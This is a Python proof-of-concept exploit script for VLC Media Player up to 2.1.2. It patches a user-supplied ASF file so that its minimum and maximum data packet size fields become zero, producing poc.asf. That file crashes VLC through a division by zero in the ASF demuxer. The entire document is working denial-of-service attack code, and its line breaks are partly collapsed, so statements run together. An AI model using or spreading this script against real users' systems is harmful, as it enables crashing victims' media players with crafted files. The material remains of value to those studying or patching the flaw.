#!/usr/bin/python # VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer # VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size # is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2 # to run this script you need to install python bitstring module # usage you supply any valid asf and the script will produxe a POC asf that will crash vlc    import sys from bitstring import BitArray    f = open(sys.argv[1],'r+b')    f.seek(0,2)    size = f.tell()    print "[*] file size: %d" % size    f.seek(0,0)    print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"   fb = BitArray(f)    index  =  fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True)    print "[*] found file properties GUID"print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)]    # index of minumum packet size in File Proprties header i_min_data_pkt_size = index[0] +  736   print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hexprint "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex   # Accroding to ASF standarad the minimum data size and the maximum data size should be equal print "[*] Changing Miniumum and Maximum Data packet size to 0"   # changing the data packets in bit array    fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00   print "[*] POC File Created poc.asf"   of = open('poc.asf','w+b') fb.tofile(of) of.close() f.close()